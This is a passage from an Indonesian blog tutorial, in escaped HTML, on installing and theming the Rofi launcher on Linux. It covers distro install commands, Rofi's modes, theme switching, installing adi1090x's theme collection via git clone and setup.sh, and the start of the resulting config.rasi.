&lt;/ol&gt;&lt;p&gt;Masih bingung?&lt;/p&gt;&lt;p&gt;Supaya lebih jelas, mari kita lihat langsung apa itu Rofi dengan langsung mempraktikkannya.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Instalasi Rofi + Review Singkat&lt;a href=&quot;#instalasi-rofi--review-singkat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Untuk menginstall rofi di distro linux:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;strong&gt;Distro&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Install&lt;/strong&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Debian&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install rofi&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Arch&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S rofi&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Opensuse&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in rofi&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fedora&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install rofi&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Atau kalian bisa meng-&lt;em&gt;compile source code&lt;/em&gt;-nya langsung dari official repo Rofi di github&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;p&gt;Dalam artikel ini, saya akan menggunakan Rofi di &lt;a href=&quot;https://abwildan.github.io/post/rice/&quot; target=&quot;_blank&quot;&gt;Debian (dengan tema Chicago95 / Windows95)&lt;/a&gt; yang sudah saya install sebelumnya.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1020&quot; height=&quot;903&quot; src=&quot;/_astro/ss3.CYg0MU00_B04Yq.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah proses instalasi selesai, kita sudah dapat langsung menggunakan Rofi dengan mengetikkan perintah simpel berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rofi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Maka, akan muncul tampilan berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;711&quot; height=&quot;510&quot; src=&quot;/_astro/ss4.BZrNdhdk_uxz6m.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Tampilan tersebut menunjukkan cara menggunakan atau menampilkan window Rofi, yaitu dengan mengetikkan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rofi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{mode}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;dimana mode-nya dapat dipilih:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;window&lt;/strong&gt;: untuk beralih window yang terbuka di setiap &lt;em&gt;workspace&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;run&lt;/strong&gt;: untuk menjalankan semua program yang terinstall di OS linux (baik CLI maupun GUI)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ssh&lt;/strong&gt;: untuk melakukan &lt;em&gt;remote access&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;windowcd&lt;/strong&gt;: untuk beralih window yang terbuka di &lt;em&gt;workspace&lt;/em&gt; aktif&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;drun&lt;/strong&gt;: untuk menjalankan program GUI yang terinstall di OS linux&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;combi&lt;/strong&gt;: kombinasi dari &lt;em&gt;&lt;strong&gt;[window] + [run] + [drun]&lt;/strong&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;keys&lt;/strong&gt;: untuk menampilkan &lt;em&gt;shortcut&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;filebrowser&lt;/strong&gt;: sebagai &lt;em&gt;filebrowser&lt;/em&gt; :)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut contoh penggunaan setiap mode-nya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;597&quot; src=&quot;/_astro/gif1.CTshAOD0_Z1zfMQD.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Selain itu, kita juga dapat mengganti tema Rofi. File tema-nya dapat kita temukan di &lt;code&gt;/usr/share../images/rofi/themes&lt;/code&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;716&quot; height=&quot;513&quot; src=&quot;/_astro/ss5.rboD3z9O_FWT7L.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Perintah berikut dapat digunakan untuk mengganti tema Rofi:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rofi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{mode}&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-theme&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{themes}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;597&quot; src=&quot;/_astro/gif2.BkW_cqGw_ZV6To6.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;File konfigurasinya dapat di-&lt;em&gt;dump&lt;/em&gt; dengan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rofi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-dump-config&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;config.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;708&quot; height=&quot;505&quot; src=&quot;/_astro/ss6.CQ6fzaQ-_17c8BJ.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Selebihnya, kalian dapat mengulik sendiri. Kalau bingung, tinggal buka help atau manualnya saja.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rofi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--help&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;man&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rofi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Mempercantik Rofi&lt;a href=&quot;#mempercantik-rofi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Setelah mengetahui &lt;em&gt;basic-basic&lt;/em&gt; penggunaan Rofi, kali ini kita akan mempercantiknya. Saya akan menggunakan tema Rofi yang sudah disediakan oleh &lt;a href=&quot;https://github.com/adi1090x&quot; target=&quot;_blank&quot;&gt;adi1090x&lt;/a&gt; yang bisa kalian temukan reponya di &lt;a href=&quot;https://github.com/adi1090x/rofi&quot; target=&quot;_blank&quot;&gt;link Github ini&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Repo Github tersebut menyediakan koleksi tema Rofi yang menurut saya keren-keren. Beberapa diantaranya misalnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;vista1&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;638&quot; src=&quot;/_astro/featured.DU7EoIKH_PzcOJ.webp&quot; /&gt;&lt;figcaption&gt;vista1&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;vista2&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/showcase2.DjH0e7ME_ZoUt5s.webp&quot; /&gt;&lt;figcaption&gt;vista2&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;vista1&quot; loading=&quot;lazy&quot; width=&quot;800&quot; height=&quot;618&quot; src=&quot;/_astro/showcase3.CVxT7h12_1XvWH6.webp&quot; /&gt;&lt;figcaption&gt;vista1&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;vista2&quot; loading=&quot;lazy&quot; width=&quot;860&quot; height=&quot;543&quot; src=&quot;/_astro/showcase4.BiLKUbdV_Z2lvsdI.webp&quot; /&gt;&lt;figcaption&gt;vista2&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;vista2&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;494&quot; src=&quot;/_astro/showcase5.BIg0MFDN_1QBgUw.webp&quot; /&gt;&lt;figcaption&gt;vista2&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;section&gt;&lt;h2&gt;Memasang Tema Rofi&lt;a href=&quot;#memasang-tema-rofi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;Clone Github repo&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;git&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;clone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://github.com/adi1090x/rofi.git&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rofi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./setup.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;719&quot; height=&quot;509&quot; src=&quot;/_astro/ss7.CtQ33A2H_Z15kJVD.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sekarang, kita punya file konfigurasi Rofi yang baru di &lt;code&gt;/home/$USER/.config/config.rasi&lt;/code&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;715&quot; height=&quot;278&quot; src=&quot;/_astro/ss8.DyUi_VOe_Z2jHrAI.webp&quot; /&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;config.rasi&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/**&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Author&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Aditya&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Shakya&lt;/span&gt;&lt;span&gt; (adi1090x)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Github&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;@adi1090x&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;For&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Rofi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Version:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1.7.3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;General&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;setting&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;modi:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;drun,run,filebrowser,window&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;case-sensitive:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;cycle:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;filter:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;scroll-method:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;normalize-match:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;show-icons:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;icon-theme:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Papirus&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;cache-dir:&lt;/span&gt;&lt;span&gt; ;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;steal-focus:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;/*&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;dpi:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-1&lt;/span&gt;&lt;span&gt;;*/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Matching&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;setting&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;matching:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;normal&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;tokenize:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;SSH&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;settings&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ssh-client:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;ssh&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;ssh-command:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;{terminal} -e {ssh-client} {host} [-p {port}]&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;parse-hosts:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;parse-known-hosts:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;/*----------&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Drun&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;settings&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;----------&lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;drun-categories:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;drun-match-fields:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;name,generic,exec,categories,keywords&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;drun-display-format:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;{name} [&amp;lt;span weight=&apos;light&apos; size=&apos;small&apos;&amp;gt;&amp;lt;i&amp;gt;({generic})&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;]&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;drun-show-actions:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;drun-url-launcher:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;xdg-open&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;drun-use-desktop-cache:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;drun-reload-desktop-cache:&lt;/span&gt;&lt;span&gt; 